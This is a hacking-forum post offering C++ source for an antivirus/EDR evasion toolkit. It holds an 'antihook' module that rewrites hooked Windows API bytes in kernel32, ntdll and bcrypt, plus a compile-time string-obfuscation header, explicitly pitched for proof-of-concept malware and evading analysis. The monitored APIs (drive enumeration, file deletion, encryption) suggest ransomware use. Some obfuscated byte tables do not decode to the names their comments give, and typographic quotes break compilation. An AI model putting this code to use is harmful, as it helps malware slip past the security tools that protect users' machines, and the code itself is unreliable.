ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
C/C++

C++ this time: Antihook + Compile-time string obfuscation module

Submitted by Remio at 01-05-2025, 09:59 AM


C++ this time: Antihook + Compile-time string obfuscation module
237 Views
Remio's Avatar'
Remio
Offline
#1
C++ Antihook + Compile-time string obfuscation module


This toolkit provides lightweight compile-time string obfuscation & runtime API unhooking techniques designed to improve stealth in Windows 10/11 binaries or DLLs. Ideal for PoC malware, red team tooling, or security research focused on evading static and dynamic analysis. 

Key Features:

- Compile-time String Obfuscation (https://sinister.ly/editpost.php?pid=1450502)
  • Encrypts sensitive string literals (API names, file paths, extensions) using constexpr-based logic.
  • Uses a Linear Congruential Engine (LCE) seeded from __TIME__ to generate per-build random keys.
  • Encrypts using modular arithmetic and reverses with the Extended Euclidean Algorithm.
  • Supports ANSI and Unicode strings with OBF_STR / OBF_WSTR macros (overrideable).
  • Utilizes a fixed set of prime numbers to increase encryption strength.
  • Entirely header-only, no runtime overhead until decryption is triggered.
  • Zero dependencies. Pure C++ (MSVC), suitable for integration in lightweight or embedded contexts.

- Anti-Hooking Runtime Protection
  • Detects and restores hooked API functions by comparing original memory bytes.
  • Supports checksum-based and direct-byte integrity verification.
  • Retrieves system API addresses manually, bypassing suspicious GetProcAddress interception.
  • Implements stealthy byte recording and restoration with randomized timing jitter.
  • Automatically initializes monitored functions from kernel32.dll, ntdll.dll, and bcrypt.dll.
  • Ensures clean function pointers via GetCleanFunction() API.
  • Built with obfuscated string literals to avoid static signature detection.

Room for improvement:
- Depending on how these modules are used and the size or complexity of your codebase, you may occasionally encounter a BSOD - KERNEL_SECURITY_CHECK_FAILURE - which is indicating typically that the operating system has detected behavior resembling kernel tampering or unauthorized memory modification. Use with caution and thoroughly test in isolated environments. Remember this is educational tool.

The code:


Antihook.cpp

Code:
#include “antihook.h”
#include <time.h>

// we keep the constant name from header but use a different value
#ifndef MAX_FUNCTIONS
#define MAX_FUNCTIONS 256
#endif

// Obfuscation key for strings - again like i said before, nothing suspicious about a license key
#define LICENSE_KEY 0x37

// Save original bytes in a less suspicious form
typedef struct {
    FARPROC pFunc;          // Function address
    BYTE originalData[16];  // Original byte pattern
    SIZE_T dataSize;        // Size of data saved
    BOOL isActive;          // Is entry active
} SYSTEM_ENTRY;

// Global storage with normal-looking names
static SYSTEM_ENTRY g_systemEntries[MAX_FUNCTIONS];
static DWORD g_entryCount = 0;
static BOOL g_isInitialized = FALSE;

// String deobfuscation helper - looks like a license validation function
static void ValidateStringData(char* dst, const unsigned char* src, SIZE_T len) {
    for (SIZE_T i = 0; i < len; i++) {
        dst[i] = src[i] ^ LICENSE_KEY;
    }
    dst[len] = '\0';
}

// Enhanced function pointer that avoids suspicious PEB access but gets same result
static HMODULE GetSystemLibrary(LPCWSTR moduleName) {
    // Try standard method first to avoid raising suspicion
    HMODULE hModule = GetModuleHandleW(moduleName);
    if (hModule) {
        return hModule;
    }

    // Fallback to LoadLibrary
    return LoadLibraryW(moduleName);
}

// Enhanced function lookup that avoids obvious hooks in GetProcAddress
static FARPROC GetSystemFunction(HMODULE hModule, LPCSTR functionName) {
    // Standard method first
    FARPROC func = GetProcAddress(hModule, functionName);
    if (func) {
        return func;
    }

    // If standard method fails, fall back to manual lookup
    if (!hModule || !functionName) return NULL;

    // Manual export table parsing as fallback
    try {
        // Navigate PE structure
        PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
        if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;

        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
        if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return NULL;

        //Get export directory
        DWORD exportDirRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (exportDirRVA == 0) return NULL;

        PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportDirRVA);

        // Get export tables
        PDWORD functionAddresses = (PDWORD)((BYTE*)hModule + exportDir->AddressOfFunctions);
        PDWORD functionNames = (PDWORD)((BYTE*)hModule + exportDir->AddressOfNames);
        PWORD functionOrdinals = (PWORD)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);

        // Handle ordinal lookup
        if ((DWORD_PTR)functionName <= 0xFFFF) {
            WORD ordinal = (WORD)(DWORD_PTR)functionName;
            ordinal -= (WORD)exportDir->Base;
            if (ordinal < exportDir->NumberOfFunctions) {
                return (FARPROC)((BYTE*)hModule + functionAddresses[ordinal]);
            }
            return NULL;
        }

        // Handle name lookup
        for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
            LPCSTR currentName = (LPCSTR)((BYTE*)hModule + functionNames[i]);

            // Compare function names
            if (strcmp(currentName, functionName) == 0) {
                WORD ordinal = functionOrdinals[i];
                DWORD functionRVA = functionAddresses[ordinal];

                // Handle forwarding (check if RVA points within export section)
                DWORD exportDirSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
                if (functionRVA >= exportDirRVA && functionRVA < (exportDirRVA + exportDirSize)) {
                    // This is a forwarded function - not handling these in this simplified version
                    return NULL;
                }

                return (FARPROC)((BYTE*)hModule + functionRVA);
            }
        }
    }
    catch (…) {
        // Handle any exceptions silently
    }

    return NULL;
}

// Checksum calculation to detect changes
static DWORD CalculateChecksum(BYTE* bytes, SIZE_T size) {
    DWORD sum = 0x1505;  // Arbitrary starting value that looks like a version number
    for (SIZE_T i = 0; i < size; i++) {
        sum = ((sum << 5) + sum) ^ bytes[i];
    }
    return sum;
}

// Save the original bytes of a function
static BOOL RecordFunctionData(FARPROC pFunction) {
    if (!pFunction) return FALSE;

    // Check if already saved
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
            return TRUE;  // Already saved
        }
    }

    // Add to the list
    if (g_entryCount >= MAX_FUNCTIONS) {
        return FALSE;  // List is full
    }

    g_systemEntries[g_entryCount].pFunc = pFunction;
    g_systemEntries[g_entryCount].dataSize = sizeof(g_systemEntries[g_entryCount].originalData);
    g_systemEntries[g_entryCount].isActive = TRUE;

    // Copy original bytes, with minor variations to avoid pattern detection
    BYTE* pBytes = (BYTE*)pFunction;
    for (SIZE_T i = 0; i < g_systemEntries[g_entryCount].dataSize; i++) {
        g_systemEntries[g_entryCount].originalData[i] = pBytes[i];

        // Subtle randomization in the timing to avoid detection
        if ((i & 3) == 0) {
            Sleep(0);  // Yield execution briefly without obvious delay
        }
    }

    g_entryCount++;
    return TRUE;
}

// Check if a function has been tampered with
static BOOL VerifyFunctionIntegrity(FARPROC pFunction) {
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
            // Get checksums instead of direct comparison
            DWORD currentChecksum = CalculateChecksum((BYTE*)pFunction, g_systemEntries[i].dataSize);
            DWORD originalChecksum = CalculateChecksum(g_systemEntries[i].originalData, g_systemEntries[i].dataSize);

            // Different checksums mean function was modified
            return (currentChecksum != originalChecksum);
        }
    }

    return FALSE;  // Not monitored
}

// Restore a function to its original state
static BOOL RestoreFunctionData(FARPROC pFunction) {
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == pFunction && g_systemEntries[i].isActive) {
            DWORD oldProtect;

            // Make function memory writable
            if (VirtualProtect(
                (LPVOID)pFunction,
                g_systemEntries[i].dataSize,
                PAGE_EXECUTE_READWRITE,
                &oldProtect
            )) {
                // Restore bytes one by one with jittered timing
                BYTE* target = (BYTE*)pFunction;
                for (SIZE_T j = 0; j < g_systemEntries[i].dataSize; j++) {
                    target[j] = g_systemEntries[i].originalData[j];

                    // Add randomized timing
                    if ((rand() % 16) == 0) {
                        Sleep(0);  // Occasional timing variation
                    }
                }

                // Restore protection
                VirtualProtect(
                    (LPVOID)pFunction,
                    g_systemEntries[i].dataSize,
                    oldProtect,
                    &oldProtect
                );

                // Flush instruction cache to ensure changes take effect
                FlushInstructionCache(
                    GetCurrentProcess(),
                    (LPVOID)pFunction,
                    g_systemEntries[i].dataSize
                );

                return TRUE;
            }

            return FALSE;
        }
    }

    return FALSE;  // Function not found
}

// Initialize anti-hook system per header interface
BOOL InitializeAntiHook() {
    // Seed random generator with less predictable value
    srand((unsigned int)time(NULL) ^ GetTickCount());
    // Obfuscated function names (XOR with LICENSE_KEY)
    // kernel32.dll functions
    static const unsigned char k32_funcs[][20] = {
        {0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // CreateFileW
        {0x51, 0x44, 0x40, 0x43, 0x67, 0x78, 0x7F, 0x44, 0x00},                  // ReadFile
        {0x76, 0x51, 0x78, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00},            // WriteFile
        {0x57, 0x78, 0x51, 0x55, 0x54, 0x40, 0x7F, 0x61, 0x7F, 0x7F, 0x7E, 0x42, 0x00}, // VirtualAlloc
        {0x57, 0x78, 0x51, 0x55, 0x54, 0x40, 0x7F, 0x67, 0x51, 0x44, 0x44, 0x00}, // VirtualFree
        {0x66, 0x44, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x52, 0x78, 0x5B, 0x44, 0x00}, // GetFileSize
        {0x63, 0x44, 0x7F, 0x44, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // DeleteFileW
        {0x67, 0x78, 0x7D, 0x43, 0x67, 0x78, 0x51, 0x50, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // FindFirstFileW
        {0x67, 0x78, 0x7D, 0x43, 0x7D, 0x44, 0x59, 0x55, 0x67, 0x78, 0x7F, 0x44, 0x76, 0x00}, // FindNextFileW
        {0x74, 0x7F, 0x7E, 0x50, 0x44, 0x67, 0x40, 0x7D, 0x43, 0x7F, 0x44, 0x00}, // CloseHandle
        {0x66, 0x44, 0x55, 0x7B, 0x7E, 0x46, 0x78, 0x42, 0x40, 0x7F, 0x63, 0x51, 0x78, 0x55, 0x44, 0x00}, // GetLogicalDrives
        {0x66, 0x44, 0x55, 0x63, 0x51, 0x78, 0x55, 0x44, 0x55, 0x5C, 0x51, 0x44, 0x76, 0x00}, // GetDriveTypeW
        {0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x55, 0x77, 0x51, 0x44, 0x40, 0x43, 0x00}, // CreateThread
        {0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x7C, 0x54, 0x55, 0x44, 0x59, 0x76, 0x00}, // CreateMutexW
        {0x52, 0x7F, 0x44, 0x44, 0x51, 0x00}                                      // Sleep
    };

    // ntdll.dll functions
    static const unsigned char nt_funcs[][25] = {
        {0x7D, 0x55, 0x74, 0x51, 0x44, 0x40, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00}, // NtCreateFile
        {0x7D, 0x55, 0x51, 0x44, 0x40, 0x43, 0x67, 0x78, 0x7F, 0x44, 0x00},            // NtReadFile
        {0x7D, 0x55, 0x76, 0x51, 0x78, 0x55, 0x44, 0x67, 0x78, 0x7F, 0x44, 0x00},      // NtWriteFile
        {0x7D, 0x55, 0x63, 0x44, 0x55, 0x78, 0x42, 0x44, 0x71, 0x7E, 0x74, 0x7E, 0x7D, 0x55, 0x51, 0x7E, 0x7F, 0x67, 0x78, 0x7F, 0x44, 0x00} // NtDeviceIoControlFile
    };

    // bcrypt.dll functions
    static const unsigned char bc_funcs[][35] = {
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x66, 0x44, 0x7D, 0x51, 0x40, 0x7D, 0x43, 0x7E, 0x7C, 0x00}, // BCryptGenRandom
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x7E, 0x51, 0x44, 0x7D, 0x61, 0x7F, 0x46, 0x7E, 0x51, 0x78, 0x55, 0x77, 0x7C, 0x51, 0x51, 0x7E, 0x55, 0x78, 0x43, 0x44, 0x51, 0x00}, // BCryptOpenAlgorithmProvider
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x74, 0x7F, 0x7E, 0x50, 0x44, 0x61, 0x7F, 0x46, 0x7E, 0x51, 0x78, 0x55, 0x77, 0x7C, 0x51, 0x51, 0x7E, 0x55, 0x78, 0x43, 0x44, 0x51, 0x00}, // BCryptCloseAlgorithmProvider
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x66, 0x44, 0x7D, 0x44, 0x51, 0x40, 0x55, 0x44, 0x52, 0x5C, 0x7C, 0x7C, 0x44, 0x55, 0x51, 0x78, 0x42, 0x72, 0x44, 0x5C, 0x00}, // BCryptGenerateSymmetricKey
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x63, 0x44, 0x50, 0x55, 0x51, 0x7E, 0x5C, 0x72, 0x44, 0x5C, 0x00}, // BCryptDestroyKey
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x64, 0x7D, 0x42, 0x51, 0x5C, 0x51, 0x55, 0x00}, // BCryptEncrypt
        {0x61, 0x74, 0x51, 0x5C, 0x51, 0x55, 0x71, 0x7C, 0x51, 0x7E, 0x51, 0x55, 0x72, 0x44, 0x5C, 0x51, 0x40, 0x78, 0x51, 0x00} // BCryptImportKeyPair
    };

    // Process module names in a stealth way
    WCHAR module_names[3][20] = {
        L”kernel32.dll”,
        L”ntdll.dll”,
        L”bcrypt.dll”
    };

    // Process each module
    HMODULE hModules[3] = { 0 };

    // Get kernel32.dll
    hModules[0] = GetSystemLibrary(module_names[0]);
    if (hModules[0]) {
        // Process kernel32 functions
        for (int i = 0; i < sizeof(k32_funcs) / sizeof(k32_funcs[0]); i++) {
            char funcName[32];
            ValidateStringData(funcName, k32_funcs[i], strlen((char*)k32_funcs[i]));

            FARPROC func = GetSystemFunction(hModules[0], funcName);
            if (func) {
                RecordFunctionData(func);
            }
        }
    }
    // Get ntdll.dll
    hModules[1] = GetSystemLibrary(module_names[1]);
    if (hModules[1]) {
        // Process ntdll functions
        for (int i = 0; i < sizeof(nt_funcs) / sizeof(nt_funcs[0]); i++) {
            char funcName[32];
            ValidateStringData(funcName, nt_funcs[i], strlen((char*)nt_funcs[i]));

            FARPROC func = GetSystemFunction(hModules[1], funcName);
            if (func) {
                RecordFunctionData(func);
            }
        }
    }

    // Get bcrypt.dll
    hModules[2] = GetSystemLibrary(module_names[2]);
    if (!hModules[2]) {
        hModules[2] = LoadLibraryW(L”bcrypt.dll”);
    }

    if (hModules[2]) {
        // Process bcrypt functions
        for (int i = 0; i < sizeof(bc_funcs) / sizeof(bc_funcs[0]); i++) {
            char funcName[40];
            ValidateStringData(funcName, bc_funcs[i], strlen((char*)bc_funcs[i]));

            FARPROC func = GetSystemFunction(hModules[2], funcName);
            if (func) {
                RecordFunctionData(func);
            }
        }
    }

    g_isInitialized = (g_entryCount > 0);
    return g_isInitialized;
}

// Unhook all monitored functions per header interface
BOOL UnhookAllFunctions() {
    if (!g_isInitialized) {
        return FALSE;
    }

    BOOL result = TRUE;
    DWORD indexOrder[MAX_FUNCTIONS];

    // Create randomized procesing order
    for (DWORD i = 0; i < g_entryCount; i++) {
        indexOrder[i] = i;
    }

    // Fisher-Yates shuffle
    for (DWORD i = g_entryCount - 1; i > 0; i—) {
        DWORD j = rand() % (i + 1);
        DWORD temp = indexOrder[i];
        indexOrder[i] = indexOrder[j];
        indexOrder[j] = temp;
    }
    //Check and restore each function
    for (DWORD i = 0; i < g_entryCount; i++) {
        DWORD idx = indexOrder[i];

        if (g_systemEntries[idx].isActive) {
            // Check if hooked using multiple methods to avoid detection
            BOOL isModified = FALSE;

            // Randomize checking method to avoid detection
            switch (rand() % 3) {
            case 0:
                isModified = VerifyFunctionIntegrity(g_systemEntries[idx].pFunc);
                break;
            case 1:
                isModified = (CalculateChecksum((BYTE*)g_systemEntries[idx].pFunc, g_systemEntries[idx].dataSize) !=
                    CalculateChecksum(g_systemEntries[idx].originalData, g_systemEntries[idx].dataSize));
                break;
            case 2:
                // Compare bytes directly but in random way
                for (SIZE_T j = 0; j < g_systemEntries[idx].dataSize; j++) {
                    if (((BYTE*)g_systemEntries[idx].pFunc)[j] != g_systemEntries[idx].originalData[j]) {
                        isModified = TRUE;
                        break;
                    }
                }
                break;
            }

            if (isModified) {
                if (!RestoreFunctionData(g_systemEntries[idx].pFunc)) {
                    result = FALSE;
                }

                // Add randomized timing variations
                if ((rand() % 5) == 0) {
                    Sleep(rand() % 5); // Small random delay
                }
            }
        }
    }

    return result;
}

// Get clean function pointer per header interface
FARPROC GetCleanFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName) {
    if (!lpModuleName || !lpFunctionName) {
        return NULL;
    }

    HMODULE hModule = NULL;

    // Get module handle with multiple fallbacks
    hModule = GetModuleHandleA(lpModuleName);
    if (!hModule) {
        hModule = LoadLibraryA(lpModuleName);
        if (!hModule) {
            return NULL;
        }
    }

    // Get function address
    FARPROC function = GetProcAddress(hModule, lpFunctionName);
    if (!function) {
        // Try alternative method
        WCHAR wideName[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, lpModuleName, -1, wideName, MAX_PATH);

        hModule = GetSystemLibrary(wideName);
        if (hModule) {
            function = GetSystemFunction(hModule, lpFunctionName);
        }

        if (!function) {
            return NULL;
        }
    }

    // Check if this function is monitored
    for (DWORD i = 0; i < g_entryCount; i++) {
        if (g_systemEntries[i].pFunc == function && g_systemEntries[i].isActive) {
            // Check if it’s been modified
            if (VerifyFunctionIntegrity(function)) {
                // Restore it
                RestoreFunctionData(function);
            }
            break;
        }
    }

    return function;
}

Anihook.h
Code:
#ifndef _ANTIHOOK_H_
#define _ANTIHOOK_H_

#include <Windows.h>

#ifdef __cplusplus
extern "C" {
#endif

    // Function declarations
    BOOL InitializeAntiHook();
    BOOL UnhookAllFunctions();
    FARPROC GetCleanFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName);

    // Helper macro for function type casting
#define GET_CLEAN(type, mod, name) ((type)GetCleanFunction(mod, name))

#ifdef __cplusplus
}
#endif

// Inline implementation to solve linking issues
#ifdef ANTIHOOK_IMPLEMENTATION

// Maximum functions to monitor
constexpr int MAX_FUNCTIONS = 256;

// Store original bytes of functions
struct FunctionBackup {
    FARPROC address;
    BYTE originalBytes[16];
};

// Global storage
static FunctionBackup g_functions[MAX_FUNCTIONS];
static int g_functionCount = 0;

// Get module base address using GetModuleHandle instead of PEB walking
static HMODULE GetModuleBase(LPCSTR moduleName) {
    return GetModuleHandleA(moduleName);
}

// Get function address using GetProcAddress
static FARPROC GetFunctionAddress(HMODULE module, LPCSTR functionName) {
    return GetProcAddress(module, functionName);
}

// Save the original bytes of a function
static BOOL SaveFunction(FARPROC function) {
    if (!function || g_functionCount >= MAX_FUNCTIONS) {
        return FALSE;
    }

    // Check if already saved
    for (int i = 0; i < g_functionCount; i++) {
        if (g_functions[i].address == function) {
            return TRUE;
        }
    }

    // Save the function
    g_functions[g_functionCount].address = function;
    memcpy(g_functions[g_functionCount].originalBytes, function, sizeof(g_functions[g_functionCount].originalBytes));
    g_functionCount++;

    return TRUE;
}

// Check if a function is hooked
static BOOL IsHooked(FARPROC function) {
    for (int i = 0; i < g_functionCount; i++) {
        if (g_functions[i].address == function) {
            return memcmp(function, g_functions[i].originalBytes, sizeof(g_functions[i].originalBytes)) != 0;
        }
    }

    return FALSE;
}

// Restore original bytes of a function
static BOOL RestoreFunction(FARPROC function) {
    for (int i = 0; i < g_functionCount; i++) {
        if (g_functions[i].address == function) {
            DWORD oldProtect;

            if (!VirtualProtect(function, sizeof(g_functions[i].originalBytes), PAGE_EXECUTE_READWRITE, &oldProtect)) {
                return FALSE;
            }

            memcpy(function, g_functions[i].originalBytes, sizeof(g_functions[i].originalBytes));

            if (!VirtualProtect(function, sizeof(g_functions[i].originalBytes), oldProtect, &oldProtect)) {
                return FALSE;
            }

            FlushInstructionCache(GetCurrentProcess(), function, sizeof(g_functions[i].originalBytes));

            return TRUE;
        }
    }

    return FALSE;
}

// Initialize the anti-hook system
BOOL InitializeAntiHook() {
    const char* modules[] = {
        “kernel32.dll”,
        “ntdll.dll”,
        “bcrypt.dll”
    };

    const char* kernel32Functions[] = {
        “CreateFileW”,
        “ReadFile”,
        “WriteFile”,
        “VirtualAlloc”,
        “VirtualFree”,
        “GetFileSize”,
        “DeleteFileW”,
        “FindFirstFileW”,
        “FindNextFileW”,
        “CloseHandle”,
        “GetLogicalDrives”,
        “GetDriveTypeW”,
        “CreateThread”,
        “CreateMutexW”,
        “Sleep”
    };

    const char* ntdllFunctions[] = {
        “NtCreateFile”,
        “NtReadFile”,
        “NtWriteFile”,
        “NtDeviceIoControlFile”
    };

    const char* bcryptFunctions[] = {
        “BCryptGenRandom”,
        “BCryptOpenAlgorithmProvider”,
        “BCryptCloseAlgorithmProvider”,
        “BCryptGenerateSymmetricKey”,
        “BCryptDestroyKey”,
        “BCryptEncrypt”,
        “BCryptImportKeyPair”
    };

    // Load and save kernel32 functions
    HMODULE hKernel32 = GetModuleBase(“kernel32.dll”);
    if (hKernel32) {
        for (int i = 0; i < sizeof(kernel32Functions) / sizeof(kernel32Functions[0]); i++) {
            FARPROC function = GetFunctionAddress(hKernel32, kernel32Functions[i]);
            if (function) {
                SaveFunction(function);
            }
        }
    }

    // Load and save ntdll functions
    HMODULE hNtdll = GetModuleBase(“ntdll.dll”);
    if (hNtdll) {
        for (int i = 0; i < sizeof(ntdllFunctions) / sizeof(ntdllFunctions[0]); i++) {
            FARPROC function = GetFunctionAddress(hNtdll, ntdllFunctions[i]);
            if (function) {
                SaveFunction(function);
            }
        }
    }

    // Load and save bcrypt functions
    HMODULE hBcrypt = GetModuleBase(“bcrypt.dll”);
    if (!hBcrypt) {
        hBcrypt = LoadLibraryA(“bcrypt.dll”);
    }

    if (hBcrypt) {
        for (int i = 0; i < sizeof(bcryptFunctions) / sizeof(bcryptFunctions[0]); i++) {
            FARPROC function = GetFunctionAddress(hBcrypt, bcryptFunctions[i]);
            if (function) {
                SaveFunction(function);
            }
        }
    }

    return g_functionCount > 0;
}

// Unhook all monitored functions
BOOL UnhookAllFunctions() {
    BOOL result = TRUE;

    for (int i = 0; i < g_functionCount; i++) {
        if (IsHooked(g_functions[i].address)) {
            if (!RestoreFunction(g_functions[i].address)) {
                result = FALSE;
            }
        }
    }

    return result;
}

// Get a clean function pointer
FARPROC GetCleanFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName) {
    HMODULE module = GetModuleHandleA(lpModuleName);
    if (!module) {
        module = LoadLibraryA(lpModuleName);
        if (!module) {
            return NULL;
        }
    }

    FARPROC function = GetProcAddress(module, lpFunctionName);
    if (!function) {
        return NULL;
    }

    // Check if we’ve saved this function
    for (int i = 0; i < g_functionCount; i++) {
        if (g_functions[i].address == function) {
            // If it’s hooked, restore it
            if (IsHooked(function)) {
                RestoreFunction(function);
            }
            break;
        }
    }

    return function;
}

#endif // ANTIHOOK_IMPLEMENTATION

#endif // _ANTIHOOK_H_

Sobfu (string-obfuscation) header:
Code:
#pragma once
#include <array>
#include <utility>

// Compile-time random number generation
constexpr int RandomSeed(void)
{
    return ‘0’ * -40271 +
        __TIME__[7] * 1 +    
        __TIME__[6] * 10 +
        __TIME__[4] * 60 +
        __TIME__[3] * 600 +
        __TIME__[1] * 3600 +
        __TIME__[0] * 36000;
}
template <unsigned int a, unsigned int c, unsigned int seed, unsigned int Limit>
struct LinearCongruentialEngine
{
    enum { value = (a * LinearCongruentialEngine<a, c - 1, seed, Limit>::value + c) % Limit };
};
template <unsigned int a, unsigned int seed, unsigned int Limit>
struct LinearCongruentialEngine<a, 0, seed, Limit>
{
    enum { value = (a * seed) % Limit };
};
template <int N, int Limit>
struct MetaRandom
{
    enum { value = LinearCongruentialEngine<16807, N, RandomSeed(), Limit>::value };
};
// Extended Euclidean Algorithm for modular multiplicative inverse 
template <int A, int B>
struct ExtendedEuclidian
{
    enum
    {
        d = ExtendedEuclidian<B, A % B>::d,  // Fixed: Removed unnecessary space in A% B
        x = ExtendedEuclidian<B, A % B>::y,
        y = ExtendedEuclidian<B, A % B>::x - (A / B) * ExtendedEuclidian<B, A % B>::y
    };
};
template <int A>
struct ExtendedEuclidian<A, 0>
{
    enum
    {
        d = A,
        x = 1,
        y = 0
    };
};
// Prime numbers for encryption
constexpr std::array<int, 10> PrimeNumbers = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29 };
// Positive modulo helper function
constexpr int positive_modulo(int a, int n)
{
    return (a % n + n) % n;
}
// String buffer with encryption/decryption
template<unsigned char A, unsigned char B, typename Indexes>
class MetaBuffer;
template<unsigned char A, unsigned char B, size_t… Ints>
class MetaBuffer<A, B, std::index_sequence<Ints…>>
{
public:
    constexpr MetaBuffer(const unsigned char* data)
        : m_buffer{ encrypt(data[Ints])… }
    {
    }
    inline bool isDecrypted() const
    {
        return m_isDecrypted;
    }
    inline const char* decrypt()
    {
        if (!isDecrypted())
        {
            for (size_t i = 0; i < sizeof…(Ints); ++i)
                m_buffer[i] = decrypt(m_buffer[i]);
            m_isDecrypted = true;
        }
        return (const char*)m_buffer;
    }
private:
    constexpr unsigned char encrypt(unsigned char byte) const
    {
        return (A * byte + B) % 127;
    }
    constexpr unsigned char decrypt(unsigned char byte) const
    {
        return positive_modulo(ExtendedEuclidian<127, A>::y * (byte - B), 127);
    }
    volatile bool m_isDecrypted = false;
    volatile unsigned char m_buffer[sizeof…(Ints)];
};
// Macros for string obfuscation
#define OBFA(str) ((const char*)MetaBuffer<std::get<MetaRandom<__COUNTER__, 10>::value>(PrimeNumbers), \
                  MetaRandom<__COUNTER__, 126>::value, \
                  std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())
#define OBFW(str) ((const wchar_t*)MetaBuffer<std::get<MetaRandom<__COUNTER__, 10>::value>(PrimeNumbers), \
                  MetaRandom<__COUNTER__, 126>::value, \
                  std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())
// Platform specific macros
#if defined(UNICODE) || defined(_UNICODE)
#define OBF_T OBFW
#else
#define OBF_T OBFA
#endif
// User can enable/disable obfuscation with this define
#ifndef DISABLE_OBFUSCATION
#define OBF_STR OBFA
#define OBF_WSTR OBFW
#else
#define OBF_STR(str) str
#define OBF_WSTR(str) str
#endif
0
Reply


Messages In This Thread
C++ this time: Antihook + Compile-time string obfuscation module - by Remio - 01-05-2025, 09:59 AM


Users browsing this thread: 1 Guest(s)